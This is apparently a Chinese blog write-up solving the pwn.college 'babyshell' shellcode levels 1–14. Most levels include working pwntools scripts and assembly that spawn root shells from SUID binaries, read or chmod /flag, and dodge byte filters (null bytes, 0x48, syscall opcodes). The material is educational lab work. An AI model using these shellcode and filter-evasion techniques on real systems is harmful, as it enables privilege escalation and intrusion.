本文最后更新于:2024年6月12日 下午
shellcode,我的 shellcode 🥵
总结 shellcode,我的 shellcode - 🥵
资源
x64.syscall.sh : Your cheat sheet for syscalls. A glance here, and you’re always ahead. x64.syscall.sh:系统调用的备忘单
Syscalls Manpage : Understand not just the calls, but their deeper implications. Syscalls Manpage:不仅了解调用,还了解其更深层次的含义。
Felix Cloutier : Dive into the heartbeats of instructions, ensuring you’re always in step. Felix Cloutier:深入了解指令的脉动,确保您始终步调一致。
x86asm Reference : Decode the bytes into moves, turning the tables on any challenge. x86asm 参考:将字节解码为移动,在任何挑战中扭转局面。
1 看一下题版文件
1 2 $ ll /challenge/ babyshell_level1 -rwsr-xr-x 1 root root 17531 Oct 4 2023 /challenge/ babyshell_level1*
属于是suid 程序
看一下程序逻辑
分配一块内存用于存放shellcode,其大小为0x1000字节
从标准输入读取最多0x1000字节的数据到shellcode区域
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 #include <sys/mman.h> #include <string.h> #include <stdlib.h> #include <stdint.h> #include <assert.h> #include <unistd.h> #include <stdio.h> #include <capstone/capstone.h> #define CAPSTONE_ARCH CS_ARCH_X86 #define CAPSTONE_MODE CS_MODE_64 void print_disassembly (void *shellcode_addr, size_t shellcode_size) { csh handle; cs_insn *insn; size_t count; if (cs_open(CAPSTONE_ARCH, CAPSTONE_MODE, &handle) != CS_ERR_OK) { printf ("ERROR: disassembler failed to initialize.\n" ); return ; } count = cs_disasm(handle, shellcode_addr, shellcode_size, (uint64_t )shellcode_addr, 0 , &insn); if (count > 0 ) { size_t j; printf (" Address | Bytes | Instructions\n" ); printf ("------------------------------------------------------------------------------------------\n" ); for (j = 0 ; j < count; j++) { printf ("0x%016lx | " , (unsigned long )insn[j].address); for (int k = 0 ; k < insn[j].size; k++) printf ("%02hhx " , insn[j].bytes[k]); for (int k = insn[j].size; k < 15 ; k++) printf (" " ); printf (" | %s %s\n" , insn[j].mnemonic, insn[j].op_str); } cs_free(insn, count); } else { printf ("ERROR: Failed to disassemble shellcode! Bytes are:\n\n" ); printf (" Address | Bytes\n" ); printf ("--------------------------------------------------------------------\n" ); for (unsigned int i = 0 ; i <= shellcode_size; i += 16 ) { printf ("0x%016lx | " , (unsigned long )shellcode_addr+i); for (int k = 0 ; k < 16 ; k++) printf ("%02hhx " , ((uint8_t *)shellcode_addr)[i+k]); printf ("\n" ); } } cs_close(&handle); }void *shellcode_mem;size_t shellcode_size;int main (int argc, char **argv, char **envp) { assert(argc > 0 ); printf ("###\n" ); printf ("### Welcome to %s!\n" , argv[0 ]); printf ("###\n" ); printf ("\n" ); puts ("This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them" ); puts ("as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will" ); puts ("practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing" ); puts ("other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.\n" ); for (int i = 3 ; i < 10000 ; i++) close(i); for (char **a = argv; *a != NULL ; a++) memset (*a, 0 , strlen (*a)); for (char **a = envp; *a != NULL ; a++) memset (*a, 0 , strlen (*a)); uint8_t shellcode[0x1000 ]; shellcode_mem = (void *)&shellcode; printf ("[LEAK] Placing shellcode on the stack at %p!\n" , shellcode_mem); puts ("In this challenge, shellcode will be copied onto the stack and executed. Since the stack location is randomized on every" ); puts ("execution, your shellcode will need to be *position-independent*.\n" ); puts ("Reading 0x1000 bytes from stdin.\n" ); shellcode_size = read(0 , shellcode_mem, 0x1000 ); assert(shellcode_size > 0 ); puts ("This challenge is about to execute the following shellcode:\n" ); print_disassembly(shellcode_mem, shellcode_size); puts ("" ); puts ("Executing shellcode!\n" ); ((void (*)())shellcode_mem)(); }
用户的输入会作为二进制写入到栈上,然后作为函数调用
我们的目的是拿到 flag
有两种思路
获得 root 权限的 shell
直接读取/flag
思路1 获得 root 权限的 shell
由于这个程序是个 suid 程序,因此,很容易想到注入一段触发执行/bin/sh
程序的代码即可
触发启动 sh 的汇编代码:
1 2 3 4 5 6 7 8 mov rax , 59 # 设置 rax 寄存器为 59 ,表示系统调用 execve lea rdi , [rip +binsh] # 将 /bin/sh 字符串地址放入 rdi 寄存器 xor rsi , rsi # 将 rsi 寄存器置零 xor rdx , rdx # 将 rdx 寄存器置零 syscall # 执行系统调用,启动 /bin/shbinsh: .string "/bin/sh"
但是很遗憾,注入之后发现没有得到 root shell 而只是得到了普通 shell
源濑氏咗田 因为,shell 的保护机制:/bin/sh符号链接指向的是/bin/dash,dash和bash都有防御机制,当它们发现自己是在setuid进程中被执行的时候,就会euid为进程的真实用户id,放弃特权
重提一下相关概念
eUID(Effective User ID):表示正在执行命令的进程的有效用户ID。
rUID(Real User ID):表示正在执行命令的进程的真实用户ID。
一般这俩ID一样。但是如果程序是 suid 程序那么 ruid 保持原样, euid 是 root,程序以 root 权限执行
在这种情况下,如果/bin/sh
被设置为SUID权限(suid标志被设置,即eUID为0但rUID不为0),它将降低权限到rUID。也就是说,eUID将被设置为rUID的值,而rUID不为0。
为了禁用这种行为,可以使用sh -p
命令来执行/bin/sh
。-p
选项将使/bin/sh
保持SUID权限,而不会降低为rUID
综上有俩方式:
执行/bin/sh -p
执行/bin/sh 之前将 euid 置为 0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import * context.arch = 'amd64' p = process('/challenge/babyshell_level1' ) shellcode = """ xor rdi, rdi # 设置 rdi 寄存器为 0,表示设置当前进程的有效用户 ID mov eax, 0x69 # 将系统调用号 105 (setuid) 放入 eax 寄存器 syscall # 执行系统调用,设置当前进程的有效用户 ID 为 0(root) mov rax, 59 # 设置 rax 寄存器为 59,表示系统调用 execve lea rdi, [rip+binsh] # 将 /bin/sh 字符串地址放入 rdi 寄存器 xor rsi, rsi # 将 rsi 寄存器置零 xor rdx, rdx # 将 rdx 寄存器置零 syscall # 执行系统调用,启动 /bin/sh binsh: .string "/bin/sh" """ shellcode = asm(shellcode) p.send(shellcode) p.interactive()
思路2 由于是 suid 程序,因此可以直接执行 cat /flag 命令读取内容
1 2 3 4 5 6 7 8 9 10 11 from pwn import * context(arch = 'amd64' , os = 'linux' ) p=process("/challenge/babyshell_level1" ) shellcode=shellcraft.cat("/flag" ) shellcode=asm(shellcode) p.send(shellcode) p.interactive()
2 在 1 的基础上加了逻辑
对标准输入的shellcode随机跳过一段长度(0x100到0x800字节)
1 2 3 4 5 srand(time(NULL ));int to_skip = (rand() % 0x700 ) + 0x100 ; shellcode_mem += to_skip; shellcode_size -= to_skip;
思路
把shellcode 放到后面,前面用捌佰个 nop 填充
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *import random context(arch = 'amd64' , os = 'linux' ) p = process("/challenge/babyshell_level2" ) shellcode = shellcraft.cat("/flag" ) shellcode = asm(shellcode) nop_sled_length = 0x800 nop_sled = asm('nop' ) * nop_sled_length payload = nop_sled + shellcode p.send(payload) p.interactive()
3 在1 的基础上加入了 Shellcode过滤 :检查读入的shellcode是否包含NULL字节(\x00
)
disasm 函数可以方便的看到字节码和汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 print(disasm(shellcode)) 0 : 48 b8 01 01 01 01 01 01 01 01 movabs rax , 0x101010101010101 a: 50 push rax b: 48 b8 2e 67 6d 60 66 01 01 01 movabs rax , 0x1010166606d672e 15 : 48 31 04 24 xor QWORD PTR [rsp ], rax 19 : 6a 02 push 0x2 1b : 58 pop rax 1c: 48 89 e7 mov rdi , rsp 1f: 31 f6 xor esi , esi 21 : 0f 05 syscall 23 : 41 ba ff ff ff 7f mov r10d , 0x7fffffff 29 : 48 89 c6 mov rsi , rax 2c: 6a 28 push 0x28 2e: 58 pop rax 2f: 6a 01 push 0x1 31 : 5f pop rdi 32 : 99 cdq 33 : 0f 05 syscall print("Does shellcode contain NULL bytes?" , b'\x00' in shellcode) Does shellcode contain NULL bytes? False
思路 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * context(arch='amd64' , os='linux' ) context(arch = 'amd64' , os = 'linux' ) p = process("/challenge/babyshell_level3" ) shellcode=shellcraft.cat("/flag" ) shellcode=asm(shellcode)print (shellcode)print (disasm(shellcode))print ("Does shellcode contain NULL bytes?" , b'\x00' in shellcode) p.send(shellcode) p.interactive()
思路 2 pushstr 可以将字符串压栈但是不引入\x00
1 2 3 4 pwnlib.shellcraft.amd64.linux.read (fd=0 , buffer='rsp' , count=8 )[source] Reads data from the file descriptor into the provided buffer. This is a one -shot and does not fill the request.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import * context(arch = 'amd64' , os = 'linux' ) p = process("/challenge/babyshell_level3" ) shellcode = shellcraft.pushstr('/flag' ) shellcode += shellcraft.open ('rsp' , 0 , 0 ) shellcode += shellcraft.read('rax' , 'rsp' , 1024 ) shellcode += shellcraft.write(1 , 'rsp' , 'rax' ) shellcode += shellcraft.exit(0 ) binary_code = asm(shellcode)print (disasm(binary_code))print ("Does shellcode contain NULL bytes?" , b'\x00' in binary_code) p.send(binary_code) p.interactive() --- 0 : 48 b8 01 01 01 01 01 01 01 01 movabs rax, 0x101010101010101 a: 50 push rax b: 48 b8 2e 67 6d 60 66 01 01 01 movabs rax, 0x1010166606d672e 15 : 48 31 04 24 xor QWORD PTR [rsp], rax 19 : 48 89 e7 mov rdi, rsp 1c: 31 d2 xor edx, edx 1e: 31 f6 xor esi, esi 20 : 6a 02 push 0x2 22 : 58 pop rax 23 : 0f 05 syscall 25 : 48 89 c7 mov rdi, rax 28 : 31 c0 xor eax, eax 2a: 31 d2 xor edx, edx 2c: b6 04 mov dh, 0x4 2e: 48 89 e6 mov rsi, rsp 31 : 0f 05 syscall 33 : 6a 01 push 0x1 35 : 5f pop rdi 36 : 48 89 c2 mov rdx, rax 39 : 48 89 e6 mov rsi, rsp 3c: 6a 01 push 0x1 3e: 58 pop rax 3f: 0f 05 syscall 41 : 31 ff xor edi, edi 43 : 6a 3c push 0x3c 45 : 58 pop rax 46 : 0f 05 syscall
4 不可以出现 \x48
,也即是 H
但是对64 位寄存器进行操作,或者处理QWORD 这种 64 位数据,就会在指令级别加上神奇的 REX,与之对应的,导致\x48
的出现
诸如mov
指令在操作 64 位寄存器时,需要使用 REX 前缀。这时在字节码中会出现 \x48
前缀。
但是,push
和 pop
指令在操作 64 位寄存器(如 push rax
)时,并不需要 REX 前缀,因为 push
本身就是针对 64 位栈的操作。因此,push
指令对应的二进制程序字节码中不会出现 \x48
前缀
想解决此题,只需使用 push pop触发execve(filepath, argv, envp)
函数
filepath:”/bin/sh”(字符串地址)
argv
argv[0]:"/bin/sh\0"
argv[1]:"-p\0"
envp
所以本质上是做了这两个事
构造参数数组
数组在内存中的组织方式
考虑下多维数组和字节序问题
这涉及到一些指针
调用 execve 系统调用
/bin//sh
字符串想要入栈该怎么操作?如果push进去或者 mov 会不可避免的涉及到\x48
。因此可以利用call函数时会将返回地址压栈的特性,将字符串的地址压入栈,这样就可以获取地址且绕过 48
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import * context.arch = 'amd64' context.os = 'linux' p = process("/challenge/babyshell_level4" ) shellcode = asm(""" jmp two one: pop rdi // get file path,the 1st arg push 0x0 //end of -p push 0x702d // -p push rsp // addr of -p pop rdx // rdx <- addr push 0x0 //end of argv push rdx //addr of -p push rdi //addr of /bin/sh push rsp //addr of argv pop rsi //rsi <- addr of argv,the 2st arg push 0x0 //envp pop rdx //rdx <- 0 push 0x3b pop rax //rax <- 0x3b syscall two: call one .string "/bin/bash" """ ) p.send(shellcode) p.interactive()
5 禁用 0x0f05,因此需要通过动态修改字节来达成 syscall 调用
此路不通:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import * context.arch = 'amd64' context.log_level = "debug" context.terminal=['tmux' ,'splitw' ,'-h' ] p = process('/challenge/babyshell_level5' ) shellcode = """ xor rdi, rdi # 设置 rdi 寄存器为 0,表示设置当前进程的有效用户 ID mov eax, 0x69 # 将系统调用号 105 (setuid) 放入 eax 寄存器 push 0x050e inc qword ptr [rsp] call rsp nop mov rax, 59 # 设置 rax 寄存器为 59,表示系统调用 execve lea rdi, [rip+binsh] # 将 /bin/sh 字符串地址放入 rdi 寄存器 xor rsi, rsi # 将 rsi 寄存器置零 xor rdx, rdx # 将 rdx 寄存器置零 push 0x050e inc qword ptr [rsp] call rsp nop binsh: .string "/bin/sh" """ shellcode = asm(shellcode) p.send(shellcode) p.interactive()
调试:
1 2 3 4 5 6 7 context.arch = 'amd64' context.log_level = "debug" context.terminal=['tmux' ,'splitw' ,'-h' ] gdb.attach (sh) gdb> display /xg $rbp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import * context.arch = 'amd64' context.log_level = "debug" context.terminal=['tmux' ,'splitw' ,'-h' ] p = process('/challenge/babyshell_level5' ) shellcode = """ jmp two one: pop rdi push 0x0 push 0x702d push rsp pop rdx push 0x0 push rdx push rdi push rsp pop rsi push 0x0 pop rdx push 0x3b pop rax push 0x050e inc qword ptr [rsp] jmp rsp nop two: call one .string "/bin/bash" """ shellcode = asm(shellcode) p.send(shellcode) p.interactive()
6
Write and execute shellcode to read the flag, but the inputted data cannot contain any form of system call bytes (syscall, sysenter, int), this challenge adds an extra layer of difficulty!
同上
7 Write and execute shellcode to read the flag, but all file descriptors (including stdin, stderr and stdout!) are closed.
把 flag 属性更改即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import * context.arch = 'amd64' context.log_level = "debug" p = process('/challenge/babyshell_level7' ) shellcode = """ mov rax, 0x67616c662f # “/flag” push rax mov rdi, rsp mov rsi, 0777 mov rax, 90 syscall mov rax, 60 # exit(0) xor rdi, rdi syscall """ shellcode = asm(shellcode) p.send(shellcode) p.interactive()
0x
前缀表示十六进制。例如,mov rax, 0x67616c662f
将将十六进制数 0x67616c662f
赋值给 rax
寄存器。
0
前缀表示八进制。例如,mov rsi, 0777
将八进制数 0777
(对应十进制数 511
)赋值给 rsi
寄存器。
没有前缀的数值默认为十进制。例如,mov rax, 90
将十进制数 90
赋值给 rax
寄存器。
8
Write and execute shellcode to read the flag, but you only get 18 bytes.
chmod
命令会修改软链接指向的文件的权限,而不会改变软链接本身的权限
由于/flag 这几个字符会占用很多的字节数,因此可以创建一个 A 文件减少长度
mov 对应的字节会很长,push 和 pop 组合会减短
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import * context.arch = 'amd64' p = process('/challenge/babyshell_level8' ) shellcode = """ /* chmod('A',777) */ push 0x41 mov rdi, rsp push 0777 pop rsi push SYS_chmod /* 0x5a */ pop rax syscall """ shellcode = asm(shellcode)print (shellcode)print (len (shellcode)) p.send(shellcode) p.interactive()
1 2 3 4 5 6 7 8 9 10 16 bytes Address | Bytes | Instructions ------------------------------------------------------------------------------------------0x000000002dc00000 | 6a 41 | push 0x41 0x000000002dc00002 | 48 89 e7 | mov rdi , rsp 0x000000002dc00005 | 68 ff 01 00 00 | push 0x1ff 0x000000002dc0000a | 5e | pop rsi 0x000000002dc0000b | 6a 5a | push 0x5a 0x000000002dc0000d | 58 | pop rax 0x000000002dc0000e | 0f 05 | syscall
软链接(symbolic link)是一种特殊的文件,它包含一个指向其他文件或目录的引用。
硬链接(hard link)是一个文件在磁盘上的另一个入口点,指向同一个文件数据。 软链接的重要应用场景:
程序入口点 : 将常用程序的快捷方式创建为软链接,放在 /usr/bin
等常见路径下,方便用户直接调用。
目录快捷方式 : 在 ~/
目录下创建指向常用目录的软链接,方便快速访问。9
Write and execute shellcode to read the flag, but your input has data inserted into it before being executed.
1 2 3 4 5 for ( k = 0 ; k < (unsigned __int64)shellcode_size; ++k ) { if ( k / 10 % 2 == 1 ) *((_BYTE *)shellcode + k) = -52 ; }
第 10 到 20个字节会被修改为 0xcc,可以将这段填充,然后使用 jmp 跳过这段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * context.arch = 'amd64' p = process('/challenge/babyshell_level9' ) shellcode = """ /* chmod('A',777) */ push 0x41 mov rdi, rsp push 4 pop rsi jmp continue .rept 10 nop .endr continue: push SYS_chmod /* 0x5a */ pop rax syscall """ shellcode = asm(shellcode)print (shellcode)print (len (shellcode)) p.send(shellcode) p.interactive()
10 排序。其中v10是shellcode>>3-1,因此只需要将长度控制在 16 内即可
1 2 3 4 5 6 7 8 9 10 11 12 13 for ( k = 0 ; k < v10; ++k ) { for ( m = 0 ; m < v10 - k - 1 ; ++m ) { if ( v13[m] > v13[m + 1 ] ) { v14 = v13[m]; v13[m] = v13[m + 1 ]; v13[m + 1 ] = v14; } } }
11 同上
12
Write and execute shellcode to read the flag, but every byte in your input must be unique.
1 2 3 4 5 6 7 8 9 for ( k = 0 ; (int )k < (unsigned __int64)shellcode_size; ++k ) { if ( *((_BYTE *)v11 + *((unsigned __int8 *)shellcode + (int )k)) ) { printf ("Failed filter at byte %d!\n" , k); exit (1 ); } *((_BYTE *)v11 + *((unsigned __int8 *)shellcode + (int )k)) = 1 ; }
所有的字节都是不同的
思路:利用 mov 对不同大小寄存器操作时字节码是不同的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import * context.arch = 'amd64' p = process('/challenge/babyshell_level12' ) shellcode = """ push 0x41 mov rdi, rsp mov sil, 0x4 mov al, 0x5a syscall """ shellcode = asm(shellcode)print (shellcode)print (len (shellcode)) p.send(shellcode) p.interactive()
13 12bytes 的空间,可以使用之前软链接的方法,并进一步优化字节数
1 2 3 4 5 6 7 8 9 10 11 shellcode = """ /* chmod('A',777) */ push 0x41 mov rdi, rsp push 0777 pop rsi push SYS_chmod /* 0x5a */ pop rax syscall """
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import * context.arch = 'amd64' p = process('/challenge/babyshell_level13' ) shellcode = """ push 0x41 mov rdi, rsp mov sil, 0x4 mov al, 0x5a syscall """ shellcode = asm(shellcode)print (shellcode)print ("\n\nlength of code is \n\n" ,len (shellcode)) p.send(shellcode) p.interactive()
14 6 bytes,自然要借力
看一下调用 shellcode 时的逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 shellcode = mmap((void *)0x1942C000 , 0x1000 uLL, 7 , 34 , 0 , 0LL ); if ( shellcode != (void *)423804928 ) __assert_fail("shellcode == (void *)0x1942c000" , "<stdin>" , 0x64 u, "main" ); printf ("Mapped 0x1000 bytes for shellcode at %p!\n" , (const void *)0x1942C000 ); puts ("Reading 0xc bytes from stdin.\n" ); shellcode_size = read(0 , shellcode, 0xC uLL); if ( !shellcode_size ) __assert_fail("shellcode_size > 0" , "<stdin>" , 0x69 u, "main" ); puts ("Removing write permissions from first 4096 bytes of shellcode.\n" ); if ( mprotect(shellcode, 0x1000 uLL, 5 ) ) __assert_fail("mprotect(shellcode, 4096, PROT_READ|PROT_EXEC) == 0" , "<stdin>" , 0x6C u, "main" ); puts ("This challenge is about to execute the following shellcode:\n" ); print_disassembly(shellcode, shellcode_size); puts (&byte_2505); puts ("Executing shellcode!\n" ); ((void (*)(void ))shellcode)(); puts ("### Goodbye!" ); return 0 ; } .text:000000000000180 E lea rdi, aExecutingShell ; "Executing shellcode!\n" .text:0000000000001815 call _puts .text:000000000000181 A mov rax, cs:shellcode .text:0000000000001821 mov rdx, rax .text:0000000000001824 mov eax, 0 .text:0000000000001829 call rdx .text:000000000000182B lea rdi, aGoodbye ; "### Goodbye!" .text:0000000000001832 call _puts .text:0000000000001837 mov eax, 0 .text:000000000000183 C leave .text:000000000000183 D retn
可知:
shellcode 的地址是在 rdx 中
rax 为 0
思路:
触发 read(int fildes, void *buf, size_t nbyte);
read(stdin,shellcode,nbytes)
rdi:0
rsi:shellcode
rdx:nbytes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import * context.arch = 'amd64' p = process('/challenge/babyshell_level14' ) shellcode = """ push rax pop rdi push rdx pop rsi syscall """ shellcode = asm(shellcode) p.send(shellcode) shellcode =asm( """ push 0x41 mov rdi, rsp mov sil, 0x4 mov al, 0x5a syscall """ ) payload=b'a' *6 +shellcode p.send(payload) p.interactive()
后记 pathname 指向要执行的程序路径。 argv 是一个字符串数组,包含要传递给程序的所有参数,第一个参数通常是程序名。 envp 是一个环境变量字符串数组,此处可以为 NULL。
1 int execve (const char *pathname, char *const argv[], char *const envp[]) ;
1 2 3 4 5 6 7 8 9 #include <unistd.h> int main () { char *args[] = {"/bin/sh" , "-p" , NULL }; char *env[] = {NULL }; execve("/bin/sh" , args, env); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 section .text global _start _start: ; /bin/sh 字符串 mov rax, '/bin//sh' ; //bin/sh 字符串(8 字节反转) push rax ; 构造参数数组 mov rdi, rsp ; 第一个参数:程序名 (/bin/sh) push rdi ; 参数数组第一个元素 (指向 /bin/sh) mov rax, 0x702d ; -p 字符串 (反转,但只有两字节) push rax ; 参数数组第二个元素 (-p) mov rsi, rsp ; 第二个参数:指向参数数组 push 0 ; 参数数组的结束标志 NULL mov rdx, rsp ; 第三个参数:环境变量数组 (NULL) ; 调用 execve 系统调用 mov rax, 59 ; execve 的系统调用号为 59 syscall ; 执行系统调用 ; 退出程序 mov rax, 60 ; exit 的系统调用号为 60 xor rdi, rdi ; 退出码 0 syscall ; 执行系统调用
问题 小端序 根据小端序,
mov ebx, “xyz#”
shl ebx, 8
shr ebx, 8的结果是什么?
如果是push “xyz#”的话,x 在最低位,#在最高位(地址)
mov ebx, “xyz#”相当于把”xyz#”放到内存,然后 mov 指令将内存拷贝到寄存器,因此#是最高地址
https://zh.wikipedia.org/wiki/%E5%AD%97%E8%8A%82%E5%BA%8F
笔记 得到一个shell:
1 2 3 4 5 6 7 8 execve("/bin/sh" , NULL , NULL ): mov rax, 59 lea rdi, [rip+binsh] mov rsi, 0 mov rdx, 0 syscall binsh: .string "/bin/sh"
注意这里的[rip+binsh]
, binsh是相对于直行道第三行的rip的偏移
代码中混入数据的方法:
.byte 0x48, 0x45, 0x4C, 0x4C, 0x4F # “HELLO”
.string “HELLO” # "HELLO\0"
或者是把指向数据的指针压栈
1 2 3 4 5 mov rbx , 0x0068732f6e69622f # move "/bin/sh\0" into rbx push rbx # push "/bin/sh\0" onto the stackmov rdi , rsp # point rdi at the stack
shellcode 的别的用法
1 sendfile (1 , open("/flag" , NULL), 0 , 1000 )//`sendfile` 是一个用于在两个文件描述符之间直接传输数据的系统调用,将文件描述符 1 (标准输出)作为目标文件描述符,`open("/flag" , NULL)` 返回的文件描述符作为源文件描述符
使用完整的汇编语言编写
1 2 3 4 5 6 7 8 9 10 11 .global _start_start: .intel_syntax noprefix mov rax, 59 lea rdi, [rip+binsh] mov rsi, 0 mov rdx, 0 syscall binsh: .string "/bin/sh"
下面该加载器使用了mmap
函数来分配一块内存页,然后使用read
函数从标准输入中读取shellcode的内容,并将其写入分配的内存页中。最后,通过将内存页转换为函数指针并调用它,执行加载的shellcode
1 2 3 4 5 6 7 8 9 page = mmap(0x1337000 , 0x1000 , PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0 , 0 ); read(0 , page, 0x1000 ); ((void (*)())page)();
调试shellcode
strace ./shellcode-elf
gdb ./shellcode-elf
x/5i $rip
:打印当前指令地址 $rip
开始的下5条指令的汇编代码。
x/gx $rsp
:以qword(8字节)为单位查看栈指针 $rsp
指向的内存内容。
x/2dx $rsp
:以dword(4字节)为单位查看栈指针 $rsp
指向的内存内容。
x/4hx $rsp
:以halfword(2字节)为单位查看栈指针 $rsp
指向的内存内容。
x/8b $rsp
:以byte(1字节)为单位查看栈指针 $rsp
指向的内存内容。
si
:单步执行一条指令,如果遇到 call
指令,会进入被调用函数内部。
ni
:单步执行一条指令,如果遇到 call
指令,会跳过被调用函数,直接执行下一条指令。
break *0x400000
:在地址 0x400000
处设置一个断点。
run
或 continue
:运行程序,直到遇到断点或程序结束。
reverse execution
:反向执行程序,可以回溯到之前的状态。
在AMD64架构的shellcode中,字母”H”比其他字母更加显眼的原因是因为它是一个特殊的前缀字节。AMD64架构旨在与x86架构保持向后兼容,以便能够在实践中真正被采用。在AMD64处理器上执行的x86代码将完全像在x86处理器上执行一样。大部分情况下,AMD64架构是一个纯粹的扩展,由一个前缀字节”H”来控制。
然而,有一个例外,即在AMD64架构中,push和pop指令可以直接操作64位值(如rax等),而无需前缀字节。
int 3 对应的是0xCC 但是下面的方法可以绕过:
inc BYTE PTR [rip]
.byte 0xcb ;加一就是CC 前提是需要确保text段可写
x86和amd64的系统调用异同 :
内存访问的位数大小 :
single byte:
mov [rax], bl
2-byte word:
mov [rax], bx
4-byte dword:
mov [rax], ebx
8-byte qword:
mov [rax], rbx
有时需要特别标注大小
single byte
mov BYTE PTR [rax], 5
2-byte word:
mov WORD PTR [rax], 5
4-byte dword:
mov DWORD PTR [rax], 5
8-byte qword:
mov QWORD PTR [rax], 5
不同架构的shellcode
在amd64架构上编译和运行shellcode:
编译命令:gcc -nostdlib -static shellcode.s -o shellcode-elf
运行命令:./shellcode
在mips架构上编译和运行shellcode:
编译命令:mips-linux-gnu-gcc -nostdlib shellcode-mips.s -o shellcode-mips-elf
运行命令:qemu-mips-static ./shellcode-mips
对于qemu模拟器,您可以使用一些有用的选项来调试和跟踪系统调用:
-strace
:打印系统调用的日志,类似于strace工具的功能。
-g 1234
:在端口1234上等待gdb连接。在gdb-multiarch中使用target remote localhost:1234
命令连接到模拟器进行调试。
一个示例的多架构shellcode的设计思路 :
将eax寄存器的值压入栈中(在x86和amd64上具有相同的操作码)。
检查esp寄存器向左移动32位或64位后的值(在x86和amd64上具有相同的操作码)。
如果移动后的值为32位,跳转到32位shellcode;如果为64位,跳转到64位shellcode。
这种策略利用了x86和amd64架构中一些指令的相似性,使得可以在不同的架构上执行相应的shellcode。
现代架构支持内存权限控制 :
PROT_READ 允许进程读取内存
PROT_WRITE 允许进程写入内存
PROT_EXEC 允许进程执行内存
所以游戏结束了吗?
使用mprotect()系统调用可以将内存设置为可执行:
欺骗程序调用mprotect(PROT_EXEC)来执行我们的shellcode
最常见的方法是通过返回导向编程(Return Oriented Programming)进行代码重用
跳转到shellcode
即时编译(Just in Time Compilation)
即时编译器需要生成(并经常重新生成)要执行的代码。
用于代码生成的页面必须是可写的。
用于执行的页面必须是可执行的。
用于代码重新生成的页面必须是可写的。
The safe thing to do would be to:
mmap(PROT_READ|PROT_WRITE)
mprotect(PROT_READ|PROT_EXEC)
mprotect(PROT_READ|PROT_WRITE)
etc…